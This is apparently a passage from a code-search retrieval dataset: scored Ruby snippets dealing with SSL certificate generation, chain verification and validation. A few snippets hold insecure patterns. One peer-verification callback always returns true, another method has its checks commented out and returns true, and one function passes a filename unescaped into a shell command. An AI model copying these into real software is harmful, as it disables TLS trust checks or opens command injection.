"title": ""
},
{
"docid": "3a0be666e6bd87974e28f19b7aeacaa8",
"score": "0.60093737",
"text": "def generate_certs(certnames, alt_names, settings, digest, ttl)\n # Make sure we have all the directories where we will be writing files\n FileSystem.ensure_dirs([settings[:ssldir],\n settings[:certdir],\n settings[:privatekeydir],\n settings[:publickeydir]])\n\n ca = Puppetserver::Ca::CertificateAuthority.new(@logger, settings)\n\n passed = certnames.map do |certname|\n errors = check_for_existing_ssl_files(certname, settings)\n next false if Errors.handle_with_usage(@logger, errors)\n\n current_alt_names = process_alt_names(alt_names, certname)\n\n next false unless submit_csr(certname, ca, settings, digest, current_alt_names)\n\n # Check if the CA autosigned the cert\n next acquire_signed_cert(ca, certname, settings, ttl)\n end\n passed.all?\n end",
"title": ""
},
{
"docid": "027d2aadf7fb4a4b763b50cd2b0969d9",
"score": "0.60057753",
"text": "def verify_certificate?\n @verify_certificate ||= false\n end",
"title": ""
},
{
"docid": "23f5ff487d3d353c9faa70e9d69f459a",
"score": "0.60026354",
"text": "def valid?(certificate, chain)\n begin\n valid!(certificate, chain)\n rescue AlexaVerifier::InvalidCertificateError => e\n puts e\n\n return false\n end\n\n true\n end",
"title": ""
},
{
"docid": "7e1a63b6029479545345444dc8f8e23b",
"score": "0.5961245",
"text": "def verify(name)\n unless cert = Puppet::SSL::Certificate.indirection.find(name)\n raise ArgumentError, \"Could not find a certificate for #{name}\"\n end\n store = OpenSSL::X509::Store.new\n store.add_file Puppet[:cacert]\n store.add_crl crl.content if self.crl\n store.purpose = OpenSSL::X509::PURPOSE_SSL_CLIENT\n store.flags = OpenSSL::X509::V_FLAG_CRL_CHECK_ALL|OpenSSL::X509::V_FLAG_CRL_CHECK if Puppet.settings[:certificate_revocation]\n\n raise CertificateVerificationError.new(store.error), store.error_string unless store.verify(cert.content)\n end",
"title": ""
},
{
"docid": "fd6ca207a32110b0f7b38ecfdb1bf7bd",
"score": "0.59516513",
"text": "def verify_signature\n verify_with_certificates []\n end",
"title": ""
},
{
"docid": "a867b6b87afeb8a00d9d61f84138aebc",
"score": "0.5919831",
"text": "def check_dependencies\n !VehicleCertificate.exists?(:certificate_type_id => id)\n end",
"title": ""
},
{
"docid": "5d1886438bede7ef6db25795a07fb247",
"score": "0.59142035",
"text": "def upload_validate(key_cert_map_elem)\n # Do nothing if both cert/key are empty\n if key_cert_map_elem[:cert][:cert_string].empty? && key_cert_map_elem[:key][:key_string].empty?\n true # return true\n # Prevent upload unless both cert/key are present\n elsif key_cert_map_elem[:cert][:cert_string].empty? ||\n key_cert_map_elem[:key][:key_string].empty?\n message = \"Error with #{key_cert_map_elem[:name]}, certificate and key must be \" \\\n \"uploaded together.\"\n render_failure_event(message)\n # Validate cert/key and verify that they match\n else\n cert = read_cert(key_cert_map_elem[:cert][:cert_string])\n key = read_key(key_cert_map_elem[:key][:key_string])\n\n # Check certificate valid format\n unless cert\n message = \"Invalid #{key_cert_map_elem[:name]} certificate, check format and try again.\"\n return render_failure_event(message)\n end\n\n # Check key valid format\n unless key\n message = \"Invalid #{key_cert_map_elem[:name]} key, check format and try again.\"\n return render_failure_event(message)\n end\n\n # Check that key matches certificate\n unless cert.check_private_key(key)\n message = \"#{key_cert_map_elem[:name]} Certificate/Key pair invalid. Ensure Certificate\" \\\n \" and Key are matching.\"\n return render_failure_event(message)\n end\n\n # Check if a certificate has a vaild date\n return false unless valid_cert_date?(cert)\n\n trust_error = trust_chain_verify(cert)\n unless trust_error.nil?\n message = \"Certificate verification failed: \" + trust_error\n return render_failure_event(message)\n end\n\n # Everything's good!\n true\n end\n end",
"title": ""
},
{
"docid": "d6177c6bd33c2e7a6e3f66bc4a143401",
"score": "0.5887257",
"text": "def has_cert?\n MCProvision.info(\"Finding out if we already have a certificate\")\n result = request(\"has_cert\")\n\n result[:data][:has_cert]\n end",
"title": ""
},
{
"docid": "0df043baff1c6bbaa44245f931883e51",
"score": "0.5883599",
"text": "def valid_device_cert?(cert)\n Crypto.verify_cert cert, [@ca_cert]\n end",
"title": ""
},
{
"docid": "dda3dac5e7698a31b0d29031d4e50d77",
"score": "0.5812078",
"text": "def certs; end",
"title": ""
},
{
"docid": "5afc867cc113a3ce930b8d9e1d120aa8",
"score": "0.57975477",
"text": "def certificate_generate(opts)\n opts = check_params(opts,[:certs,:x509_data,:lifetime_days,:overwrite])\n super(opts)\n end",
"title": ""
},
{
"docid": "865516018f074745c6ad70d9b657e2b0",
"score": "0.5781357",
"text": "def verify_cert_chain?\n previous = nil\n \n certificates.each do |cert|\n if cert == certificates.last && root_ca\n # if we were provided a root ca we should verify that as well\n raise ChainError, \"Invalid root ca #{cert.issuer} != #{root_ca.subject}\" unless cert.issuer == root_ca.subject\n elsif cert != certificates.first\n # if we are not the first certificate than make sure the chain to the previous\n # cert if valid\n raise ChainError, \"Invalid cert chain #{previous.issuer} != #{cert.subject}\" unless previous.issuer == cert.subject\n end\n previous = cert\n end\n\n return true\n rescue ChainError => e\n errors << e.full_message\n\n return false\n end",
"title": ""
},
{
"docid": "25f741cd99914b3c2f53a6a8f521b7c0",
"score": "0.5777346",
"text": "def move_existing_certificates\n Dir.glob(File.join(@omnibus_certs_dir, \"*\")) do |file|\n case\n when !valid?(file),whitelisted_files.include?(File.realpath(file))\n next\n when is_x509_certificate?(file)\n move_certificate(file)\n else\n raise_msg(file)\n end\n end\n end",
"title": ""
},
{
"docid": "67467fc5fd82dfc2ade910bccb3aced4",
"score": "0.57619417",
"text": "def valid?\n return false unless @key_dir.exist?\n\n # read the index file\n m = File.read(Openvpn.props[:key_index]).match /^V.*CN=#{@name}.*$/\n\n return false if m.nil?\n\n # get the pem number and build the paths\n pem = m[0].split(\"\\t\")[3]\n pem_path = \"#{Openvpn.props[:key_dir]}/#{pem}.pem\"\n crt_path = \"#{Openvpn.props[:key_dir]}/#{@name}.crt\"\n\n # Check the pem against the current cert for the name\n File.read(pem_path) == File.read(crt_path)\n end",
"title": ""
},
{
"docid": "de050c8d7a4efbcfcd6993f751a0d156",
"score": "0.57360834",
"text": "def domain_certificates(domain_name, region)\n acm_certificates(region).find_all do |cert|\n cert.domain_name == domain_name ||\n cert.domain_name == (\"*.#{domain_name}\") ||\n cert.subject_alternative_names.include?(domain_name) ||\n cert.subject_alternative_names.include?(\"*.#{domain_name}\")\n end\n end",
"title": ""
},
{
"docid": "3145b5cb7159124eb66788abd35d152f",
"score": "0.57228184",
"text": "def validate\n # here we don't retry into an infinite loop\n raise \"client certificate failure\" unless (uid = validate_proc.call(controller))\n identify(uid)\n end",
"title": ""
},
{
"docid": "d75db92420e97965ffa91989922fa925",
"score": "0.5717043",
"text": "def certs\n ca\n y = YAML.load_file('config.yml')\n CertMaker.make_certs y\n end",
"title": ""
},
{
"docid": "2564f23124263ab689843ed117c5f7d7",
"score": "0.5715529",
"text": "def validate_third_party_services\n if !thirdPartyAuthServices.empty?\n thirdPartyAuthServices.each do |key, value|\n if !THIRD_PARTY_SERVICES.include?(key) || !THIRD_PARTY_ID_REGEX.match(value)\n errors.add(:thirdPartyAuthServices, \"There's a problem with the #{key} account\")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6765a202499cdbd205edd1fa0b832674",
"score": "0.5710254",
"text": "def ensure_is_509_certificate(raw_cert)\n certificate = OpenSSL::X509::Certificate.new(raw_cert)\n rescue OpenSSL::X509::CertificateError\n false\n end",
"title": ""
},
{
"docid": "cf1cc7678149f2b64cd0b6c2ab4936dd",
"score": "0.5645517",
"text": "def validate\n \n ## Check that XML is valid\n # ...\n \n ## Check that certificate is OK\n # ...\n \n ## Check that metadata has been signed OK, prob. Using XMLSecTool?\n # ...\n \n return true\n \n end",
"title": ""
},
{
"docid": "459aa4a75701b111c1df560705c94dd4",
"score": "0.5644997",
"text": "def test_certs_not_expired\n TEST_FILES.each do |path|\n full_path = File.join(EXAMPLES_DIR, path)\n cert = OpenSSL::X509::Certificate.new File.read(full_path)\n parent_dir = File.dirname(path)\n\n msg = \"Cert #{path} has expired. Check the #{parent_dir} for a `.rb` with instructions on how to regenerate.\"\n\n assert(cert.not_after > EXPIRE_THRESHOLD, msg)\n end\n end",
"title": ""
},
{
"docid": "d3a282806c3e6113a35dfde34f4ab306",
"score": "0.56163394",
"text": "def generate_authorized_certs(certnames, alt_names, settings, digest)\n # Make sure we have all the directories where we will be writing files\n FileSystem.ensure_dirs([settings[:ssldir],\n settings[:certdir],\n settings[:privatekeydir],\n settings[:publickeydir]])\n\n ca = Puppetserver::Ca::LocalCertificateAuthority.new(digest, settings)\n return false if Errors.handle_with_usage(@logger, ca.errors)\n\n passed = certnames.map do |certname|\n errors = check_for_existing_ssl_files(certname, settings)\n next false if Errors.handle_with_usage(@logger, errors)\n\n current_alt_names = process_alt_names(alt_names, certname)\n\n # For certs signed offline, any alt names are added directly to the cert,\n # rather than to the CSR.\n key, csr = generate_key_csr(certname, settings, digest)\n next false unless csr\n\n cert = ca.sign_authorized_cert(csr, current_alt_names)\n next false unless save_file(cert.to_pem, certname, settings[:certdir], \"Certificate\")\n next false unless save_file(cert.to_pem, certname, settings[:signeddir], \"Certificate\")\n next false unless save_keys(certname, settings, key)\n ca.update_serial_file(cert.serial + 1)\n true\n end\n passed.all?\n end",
"title": ""
},
{
"docid": "b31bf52ccebea48ae7590c427eb2b78f",
"score": "0.5610101",
"text": "def ssl_verify_peer(cert)\n certificate = OpenSSL::X509::Certificate.new cert\n user = certificate.subject.to_a.select{|v| (v[0] == \"CN\")}\n domain_path = user[0][1].split('.')\n domain_path.shift()\n domain = domain_path.join('.')+'.'\n puts domain\n verified = false\n begin \n Dnsruby::DNS.open(:nameserver=>['127.0.0.1']) {|dns|\n dns.getresources(domain, Dnsruby::Types.DNSKEY).collect {|r|\n if((r.algorithm == Dnsruby::Algorithms::RSASHA256) || \n (r.algorithm == Dnsruby::Algorithms::RSASHA1)) then\n if(certificate.verify(r.rsa_key())) then \n verified = true\n end\n end\n }\n }\n rescue Dnsruby::NXDomain\n return false\n end\n return verified\n end",
"title": ""
},
{
"docid": "d90275821296622bfe200a30b9b58338",
"score": "0.5609589",
"text": "def run\n @fail_cert = nil\n @failed_cert_reason = 'Unknown'\n uri = URI.parse(config[:url])\n critical \"url protocol must be https, you specified #{url}\" if uri.scheme != 'https'\n root_cert = find_root_cert(uri)\n if @failed_cert\n msg = \"Certificate verification failed.\\n Reason: #{@failed_cert_reason}\"\n critical msg\n end\n\n if validate_issuer(root_cert)\n msg = 'Root certificate in chain has expected issuer name'\n ok msg\n else\n msg = \"Root certificate issuer did not match expected name.\\nFound: \\\"#{root_cert.issuer.to_s(config[:issuer_format])}\\\"\"\n critical msg\n end\n end",
"title": ""
},
{
"docid": "92f23e77730677f16268d6ab06d4c39b",
"score": "0.56036097",
"text": "def pem_imported?(pempath, nssdb)\n not_imported_certs(pempath, nssdb).length == 0\n end",
"title": ""
},
{
"docid": "5b91f8e35ba4be5215d6ad5f2f5d000f",
"score": "0.5600338",
"text": "def certificate_or_pubkey_present\n # must use the @public_key instance var b/c the getter method will\n # return the cert's public key for compat reasons\n if certificate.nil? && @public_key.nil?\n errors.add(:credentials, \"must have a certificate or public key\")\n elsif certificate && @public_key # should never have BOTH\n errors.add(:credentials, \"cannot have both a certificate and public key\")\n end\n end",
"title": ""
},
{
"docid": "83f0fae3e86045b4c2ba246a05fa537f",
"score": "0.5572071",
"text": "def find cert\n matching_issuers_by_dn = @issuers.select {|i| i.subject.to_der == cert.issuer.to_der}\n \n @logger.debug \"#{matching_issuers_by_dn.length} issuer(s) match by DN\"\n matching_issuers_by_dn.each {|i| @logger.debug \"#{i.subject.to_s}\"}\n\n matching_issuers_by_dn.find do |issuer|\n begin\n cert.verify issuer.public_key\n rescue OpenSSL::X509::CertificateError\n false\n end\n end\n end",
"title": ""
},
{
"docid": "5abdf2127aa36b2def37385222042e36",
"score": "0.5567049",
"text": "def validate_certificate_policies(policies)\n raise ArgumentError, \"Not a valid certificate policy structure. Must be an array of hashes\" unless policies.is_a?(Array)\n\n policies.each do |policy|\n raise ArgumentError, \"Each policy requires a policy identifier\" if policy[:policy_identifier].nil?\n raise ArgumentError, \"CPS URIs must be an array of strings\" if policy[:cps_uris] && !policy[:cps_uris].respond_to?(:each)\n unless policy[:user_notices].nil?\n raise ArgumentError, \"User notices must be an array of hashes\" unless policy[:user_notices].respond_to?(:each)\n policy[:user_notices].each do |un|\n raise ArgumentError, \"If you provide an organization you must provide notice numbers\" if un[:organization] && un[:notice_numbers].nil?\n raise ArgumentError, \"If you provide notice numbers you must provide an organization\" if un[:notice_numbers] && un[:organization].nil?\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a9a00636d141b4fc407ed49ec5577994",
"score": "0.55538714",
"text": "def valid_peer?\n descending_cert_chain = @peer_certs.reverse\n authz_ca_certs = decode_cert_bundle(read_file(@ca_path))\n\n if not has_authz_peer_cert(descending_cert_chain, authz_ca_certs)\n msg = \"The server presented a SSL certificate chain which does not include a \" <<\n \"CA listed in the ssl_client_ca_auth file. \"\n msg << \"Authorized Issuers: #{authz_ca_certs.collect {|c| c.subject.to_utf8}.join(', ')} \" <<\n \"Peer Chain: #{descending_cert_chain.collect {|c| c.subject.to_utf8}.join(' => ')}\"\n @verify_errors << msg\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "1e46f830c7d4b00456b44b9182b79faf",
"score": "0.5533595",
"text": "def need_server_cert_validation()\t \t\n if (@enable_server_cert_validation == 1)\n return 1\n else\n\treturn 0\n end\n end",
"title": ""
},
{
"docid": "6ecfd6f489782e97fee4135df3c9b191",
"score": "0.5531979",
"text": "def set_certified\n allowed_domains = ['nih.gov', 'ucsfmedctr.org', '.cirm.ca.gov']\n self.certified ||= self.email.last(4) == '.edu' || allowed_domains.include?(self.email.split('@').last)\n return true\n end",
"title": ""
},
{
"docid": "916e22784957fd5cd476a3db77d7c805",
"score": "0.55225646",
"text": "def certificates=(p0) end",
"title": ""
},
{
"docid": "adac31e1d0d26f9db13b34bfb041b817",
"score": "0.5522344",
"text": "def verify_certificate?\n @verify_certificate.nil? ? true : !!@verify_certificate\n end",
"title": ""
},
{
"docid": "8ecb8a03e875ad66e34c0d7d33f8ac4d",
"score": "0.5516385",
"text": "def certificate_bundle(opts)\n opts = check_params(opts,[:file_names])\n super(opts)\n end",
"title": ""
},
{
"docid": "253c272106a440fc645908a11269b902",
"score": "0.551261",
"text": "def validate_data_presence_v2\n fail Caseflow::Error::CertificationMissingData unless check_confirm_hearing_data\n end",
"title": ""
},
{
"docid": "77bc157e5005f0044de50590408100c6",
"score": "0.55035806",
"text": "def certificates\n major_certificates + private_certificates\n end",
"title": ""
},
{
"docid": "dabf47a5e352aabbaf859fdbd92c900f",
"score": "0.55023605",
"text": "def verify_signature\n verify_with(certs: [])\n end",
"title": ""
},
{
"docid": "4f7756f9d65afb64e94ac12677af201c",
"score": "0.5490043",
"text": "def ensure_not_referenced_by_any_enrollment\n if enrollment.empty?\n return true\n else\n errors.add(:base, 'Enrollments present')\n return false\n end\n end",
"title": ""
},
{
"docid": "546ff275ef722394d05cd466efea9c3d",
"score": "0.5485504",
"text": "def certificate_expiry_is_soon(ssl_dir, certificate_file, days = 30)\n file = File.join(ssl_dir, certificate_file)\n return true unless File.file?(file)\n\n cert = OpenSSL::X509::Certificate.new(File.read(file))\n cert.not_after < Time.now + days * (24 * 60 * 60)\nend",
"title": ""
},
{
"docid": "7529279d86beff2dc6605d67c38f0174",
"score": "0.5477806",
"text": "def verify_key?\n return false if keys.first.nil?\n\n certificates.first.check_private_key(keys.first)\n end",
"title": ""
},
{
"docid": "deba40afb03d29dba9a8b83bed1c28fb",
"score": "0.5476707",
"text": "def verify_public_key_certificate(public_key_cert)\n verified = public_key_cert.verify(@@ca_certificate.public_key)\n no_errors = OpenSSL.errors.empty? # this method has to be called always as it empties the OpenSSL error stack\n\n verified && no_errors\n end",
"title": ""
},
{
"docid": "a32288a755c46b88798a98b2cf7d42d6",
"score": "0.5451093",
"text": "def certificates\n @certificates\n end",
"title": ""
},
{
"docid": "a32288a755c46b88798a98b2cf7d42d6",
"score": "0.5451093",
"text": "def certificates\n @certificates\n end",
"title": ""
},
{
"docid": "a32288a755c46b88798a98b2cf7d42d6",
"score": "0.5451093",
"text": "def certificates\n @certificates\n end",
"title": ""
},
{
"docid": "a32288a755c46b88798a98b2cf7d42d6",
"score": "0.54509705",
"text": "def certificates\n @certificates\n end",
"title": ""
},
{
"docid": "a32288a755c46b88798a98b2cf7d42d6",
"score": "0.54509705",
"text": "def certificates\n @certificates\n end",
"title": ""
},
{
"docid": "0ca11c6d8e024b8d951492f6adb96d10",
"score": "0.54375404",
"text": "def verify\n begin\n cert = OmfCommon::Auth::CertificateStore.instance.cert_for(@iss)\n rescue MissingCertificateException => e\n return false\n end\n # Verify cert\n #\n unless OmfCommon::Auth::CertificateStore.instance.verify(cert)\n warn \"Invalid certificate '#{cert.to_s}', NOT signed by CA certs, or its CA cert NOT loaded into cert store.\"\n return false\n end\n\n if cert.nil?\n warn \"Certifcate of #{@iss} NOT found\"\n return false\n end\n\n # Verify sig\n #\n cert.to_x509.public_key.verify(OpenSSL::Digest::SHA256.new(@content), Base64.decode64(@sig), @content)\n end",
"title": ""
},
{
"docid": "53983a9cd8a25f8ad751a6aaf2219e26",
"score": "0.54311866",
"text": "def ssl_verify_peer(cert)\n true\n end",
"title": ""
},
{
"docid": "9bd303efe653270e089d58da466cc693",
"score": "0.54286665",
"text": "def make_certificados; end",
"title": ""
},
{
"docid": "27b14366b7bc640d8e53259ace1ec906",
"score": "0.53980476",
"text": "def initialize(domain, *certs)\n @domain = domain\n @certificates = [certs].flatten\n end",
"title": ""
},
{
"docid": "70290848c6313d68266a18be702ca55b",
"score": "0.53961515",
"text": "def certificates\n certs_ary = []\n file.scan(CERT_REGEXP) { |match| certs_ary << OpenSSL::X509::Certificate.new(match.first) }\n certs_ary\n end",
"title": ""
},
{
"docid": "58f739796db76266f4cf5c7a45699c55",
"score": "0.53929335",
"text": "def create\n\t\tparams[:certificate].delete :issuer_certificate if params[:certificate][:issuer_certificate] == \"\"\n\t\tparams[:certificate][:issuer_certificate] = Certificate.find(params[:certificate][:issuer_certificate]) if params[:certificate].has_key? :issuer_certificate\n\t\t@certificate = Certificate.new(params[:certificate])\n\n\t\texpires_timewithzone = @certificate.expires\n\n\t\tvalid_for_time = expires_timewithzone - Time.zone.now\n\n\t\tssl_hash = { :common_name => @certificate.common_name, :email => @certificate.email, :valid_for_days => valid_for_time / (60*60), :is_ca => @certificate.is_ca, :key_size => 4096 }\n\n\t\tif @certificate.issuer_certificate == nil\n\t\t\tserial = 1\n\t\t\[email protected] = serial\n\t\telse\n\t\t\[email protected]_certificate.child_last_serial += 1\n\t\t\tserial = @certificate.issuer_certificate.child_last_serial\n\t\t\[email protected]_certificate.save\n\t\t\[email protected] = serial\n\t\t\tissuer_cert = SslHelper.load_certificate @certificate.issuer_certificate.pem_certificate\n\t\t\tissuer_key = SslHelper.load_key @certificate.issuer_certificate.pem_private_key\n\t\t\tssl_hash[:issuer] = issuer_cert\n\t\t\tssl_hash[:issuer_key] = issuer_key\n\t\t\tssl_hash[:crl_uri] = \"http://test.dk\"\n\t\tend\n\n\t\tif @certificate.is_ca\n\t\t\[email protected]_last_serial = 1\n\t\tend\n\t\tssl_hash[:serial] = serial\n\n\t\tcert = SslHelper.generate_certificate ssl_hash\n\n\t\[email protected]_private_key = cert[:key].to_pem\n\t\[email protected]_certificate = cert[:certificate].to_pem\n\n\t\trespond_to do |format|\n\t\t\tif @certificate.save\n\t\t\t\tformat.html { redirect_to @certificate, notice: 'Certificate was successfully created.' }\n\t\t\t\tformat.json { render json: @certificate, status: :created, location: @certificate }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @certificate.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2821a0e9a176257dbbc5a660d5547081",
"score": "0.5383748",
"text": "def verify_cert(ca_host, ca, ca_https_port, cert_host, cert_file, cert_subject)\n cert_text = on(cert_host, \"openssl x509 -in #{cert_file} -text -noout\").stdout\n expect( cert_text ).to match /Issuer: O\\s*=\\s*SIMP, OU\\s*=\\s*#{Regexp.escape(ca)}, CN\\s*=\\s*CA Signing Certificate/\n expect( cert_text ).to match /Subject: CN\\s*=\\s*#{Regexp.escape(cert_subject)}/\n\n match_data = cert_text.match(/Serial Number: [0-9]+ \\((0[xX]{1}[0-9a-fA-F]+)\\)/)\n expect( match_data ).to_not be_nil\n serial_num = match_data[1]\n expect( serial_num ).to_not be_nil\n\n cert_list = get_cert_list(ca_host, ca, ca_https_port)\n expect( cert_list ).to match(/Serial Number: #{serial_num}/)\n end",
"title": ""
},
{
"docid": "5cfdd335066b6281aa5cba76679cd97e",
"score": "0.5383419",
"text": "def private_certificates\n rules.private_companies.map do |company|\n Certificate.new company, BigDecimal.new('1')\n end\n end",
"title": ""
},
{
"docid": "94690f4627aff8bd4d3abd50ba9a37f0",
"score": "0.53707904",
"text": "def test_purpose_ssl_server_no_dsig_in_keyUsage\n @store.add_file(path(\"fixture/purpose/cacert.pem\"))\n cert = OpenSSL::X509::Certificate.new(File.read(path(\"fixture/purpose/sslserver_no_dsig_in_keyUsage.pem\")))\n @store.purpose = OpenSSL::X509::PURPOSE_SSL_SERVER\n assert_equal(true, @store.verify(cert))\n end",
"title": ""
},
{
"docid": "4f04366a04eecde203aa8bd6439c7824",
"score": "0.5358624",
"text": "def certs\n @@sources ||= begin\n pattern = /-{5}BEGIN CERTIFICATE-{5}\\n.*?-{5}END CERTIFICATE-{5}\\n/m\n files = Dir[File.join(@dir, '*.crt')]\n if defined?(AppConfig)\n chain = AppConfig.environment.certificate_authorities.get\n files << chain unless chain.nil?\n end\n pairs = files.map do |name|\n begin\n File.open(name, \"r:UTF-8\") do |f|\n pems = f.read.scan(pattern)\n certs = pems.map {|pem| OpenSSL::X509::Certificate.new(pem) }\n certs.reject! {|cert| cert.not_after < Time.now }\n [name, certs]\n end\n rescue ArgumentError => e\n log.error(\"Skipping '#{name}' cause of '#{e.message.to_s}'! \"+\n \"Checkout https://wiki.diasporafoundation.org/Vines#FAQ \"+\n \"for further instructions.\")\n end\n end\n Hash[pairs.compact]\n end\n @@sources.values.flatten\n end",
"title": ""
},
{
"docid": "6e6c5748d1d9835f05ee78319e53b12d",
"score": "0.5357995",
"text": "def missing(cert)\n chain(cert).reject { |cert| CertificateStore.instance[cert.key_id] }\n end",
"title": ""
},
{
"docid": "9026bf6aed819adcccec831a6a4084a6",
"score": "0.5357178",
"text": "def not_imported_certs(pempath, nssdb)\n certlist(pempath, nssdb, true)\n end",
"title": ""
},
{
"docid": "427ef6db3a72ba5c298f0e0530ac83e9",
"score": "0.53547114",
"text": "def validate_cn(options,cert_file)\n STDERR.puts \"Validating CSR is for a *.marathon.mesos CN..\"\n cn = return_cn(options,cert_file)\n\n (cn.match(options['valid_cn_suffix'])) ? true : false\nend",
"title": ""
},
{
"docid": "cc37e1f8cdeb2417860a4b474d936933",
"score": "0.53516334",
"text": "def cert_waiting?(certname)\n File.exist?(paths_for_cert(certname)[:request])\n end",
"title": ""
},
{
"docid": "2cae860d71407a90f042baaebc323cce",
"score": "0.53508824",
"text": "def calculate_manage_ssl_certificate\n node['kong']['kong.yml']['ssl_cert_path'].nil? ||\n node['kong']['kong.yml']['ssl_key_path'].nil?\n end",
"title": ""
},
{
"docid": "c68273acf8aa5f30fb9ef1206c5f3a5d",
"score": "0.5348573",
"text": "def new_certificate_added?\n return true unless File.exists?(@directory_hash_file)\n\n stored_hash = File.read(@directory_hash_file)\n trusted_certs_dir_hash != stored_hash\n end",
"title": ""
},
{
"docid": "d6cda0f6b6834200be6b2159701a3279",
"score": "0.53469783",
"text": "def clean_certs(certnames)\n url = make_ca_url('certificate_status')\n\n results = @client.with_connection(url) do |connection|\n certnames.map do |certname|\n url.resource_name = certname\n revoke_result = connection.put(REVOKE_BODY, url)\n revoked = check_revocation(certname, revoke_result)\n\n cleaned = nil\n unless revoked == :error\n clean_result = connection.delete(url)\n cleaned = check_clean(certname, clean_result)\n end\n\n if revoked == :error || cleaned != :success\n :error\n\n # If we get passed the first conditional we know that\n # cleaned must == :success and revoked must be one of\n # :invalid, :not_found, or :success. We'll treat both\n # :not_found and :success of revocation here as successes.\n # However we'll treat invalid's specially.\n elsif revoked == :invalid\n :invalid\n\n else\n :success\n end\n end\n end\n\n return results.reduce {|prev, curr| worst_result(prev, curr) }\n end",
"title": ""
},
{
"docid": "f6114355b5639bc0055291a0f81e4db0",
"score": "0.53372574",
"text": "def certs\n user = current_user\n url_id = request.fullpath.sub('/member_portal/users/', '')\n url_id = url_id.sub('/certs','')\n redirect_to user_certs_path(user.id) unless (url_id == user.id.to_s)\n @certificates = User.find_by_id(params[:id]).certificates\n end",
"title": ""
},
{
"docid": "f399eb2f32d316007c603cd98a450b37",
"score": "0.533187",
"text": "def check_ssl\n yield\n rescue OpenSSL::SSL::SSLError => e\n raise_config_error \"Invalid SSL cert\"\n end",
"title": ""
},
{
"docid": "1106bc10171ca96ede68646fba69bf95",
"score": "0.5330455",
"text": "def remove_existing_certs (except)\n except = except.kind_of?(Array) ? except : [except] # need to move from <>.class.eql? to <>.kind_of? in a number of places\n hosts = Array.new()\n\n res = self.run('puppet cert list --all')\n\n # TODO refactor this away from the hacky_break\n res.each_line do |line|\n hacky_break = false\n\n except.each do |exception|\n next if hacky_break\n hacky_break = line.match(/#{exception}/)\n end\n\n next if hacky_break\n\n host = $1 if line.match(/^\\+\\s\"(.*?)\"/)\n\n hosts.push(host) unless host.nil? # only want to clear signed certs\n end\n\n hosts.each do |host|\n self.run(sprintf('puppet cert --clean %s', host))\n end\n\n end",
"title": ""
},
{
"docid": "56651556e32892ddcdee462d95433106",
"score": "0.53263116",
"text": "def pem_exist?\n File.exist?(self.path) && File.readable?(self.path)\n end",
"title": ""
},
{
"docid": "88bc4c693a481b58fba820c2b1d37d9b",
"score": "0.53255665",
"text": "def load_test_certs\n this_dir = File.expand_path(File.dirname(__FILE__))\n data_dir = File.join(File.dirname(File.dirname(this_dir)), 'spec/testdata')\n files = ['ca.pem', 'server1.key', 'server1.pem']\n files.map { |f| File.open(File.join(data_dir, f)).read }\nend",
"title": ""
},
{
"docid": "9fada463d68ed964fce2da8617e0e63a",
"score": "0.53230095",
"text": "def validate!\n if self.status != CHALLENGE_STATE_STARTED\n end\n @logger.debug(\"Requesting authorization for certificate with subjects '#{@certificate.subjects.join(\",\")}'\")\n @authorizations.each do |authorization|\n num_timeouts = 0\n authorizer = get_authorizer(authorization)\n authorizer.request_validation\n while authorizer.status == \"pending\"\n sleep(2)\n begin\n authorizer.reload\n rescue Acme::Client::Error::Timeout\n num_timeouts += 1\n @logger.debug(\"Received ACME timeout no##{num_timeouts} of max. #{@endpoint.timeout_retries}\")\n if num_timeouts >= @endpoint.timeout_retries + 1\n raise Acme::Distributed::ServerError, \"Abort authorization request, max. number of timeouts exceeded\"\n end\n end\n end\n @logger.debug(\"Status of this authorization request: #{authorizer.status}\")\n end\n end",
"title": ""
},
{
"docid": "4a937168d790789c1d70ed306f052ed9",
"score": "0.5322748",
"text": "def import_cert(pemfile, nssdb)\n subject = File.basename(pemfile, '.pem')\n # Output seems to be empty if it succeeds\n `/usr/bin/certutil -A -n #{subject} -t CT,C,C -i #{pemfile} -d #{nssdb}`\n ret = $?\n ret == 0\n end",
"title": ""
},
{
"docid": "f856d6ba620cbf1f9995ea3e8712833a",
"score": "0.53184867",
"text": "def isValidSSL(abas)\n list = abas.zip((1..abas.length))\n .select { |x| x[1].odd? }\n .select { |x| x[0].size > 0 }\n .map { |x| x[0] }\n existsBABInList(list, abas)\nend",
"title": ""
},
{
"docid": "b170ec9e08030e416bb15536d6bcd956",
"score": "0.53155285",
"text": "def check_if_certificate_deleted\n if self.delete_certificate.present? and self.delete_certificate.to_s == \"true\"\n unless self.changed.include?(\"certificate_updated_at\")\n self.certificate.clear\n end\n end\n end",
"title": ""
},
{
"docid": "b5b10039c9088f63252ba5e5e3244a4e",
"score": "0.53100425",
"text": "def generate_saml_certs\n key_pair = CryptUtils.generate_cert_pair(organization: @institution.name,\n common_name: @institution.service_name)\n @institution.update!(saml_sp_public_cert: key_pair[:public],\n saml_sp_private_cert: key_pair[:private])\n rescue => e\n flash['error'] = \"#{e}\"\n else\n toast!(title: \"Certificates generated\",\n message: \"SAML SP certificates have been updated.\")\n ensure\n redirect_back fallback_location: institution_path(@institution)\n end",
"title": ""
},
{
"docid": "a2efde47fa45bf133b77135288fa06db",
"score": "0.5290974",
"text": "def certificate\n bits = [ssl_path, certificate_filename]\n bits.insert(1, 'certs') if create_subfolders\n ::File.join(bits)\nend",
"title": ""
},
{
"docid": "a2efde47fa45bf133b77135288fa06db",
"score": "0.5290974",
"text": "def certificate\n bits = [ssl_path, certificate_filename]\n bits.insert(1, 'certs') if create_subfolders\n ::File.join(bits)\nend",
"title": ""
},
{
"docid": "c8670cd48144c3ee4154c3e553e647b5",
"score": "0.52784264",
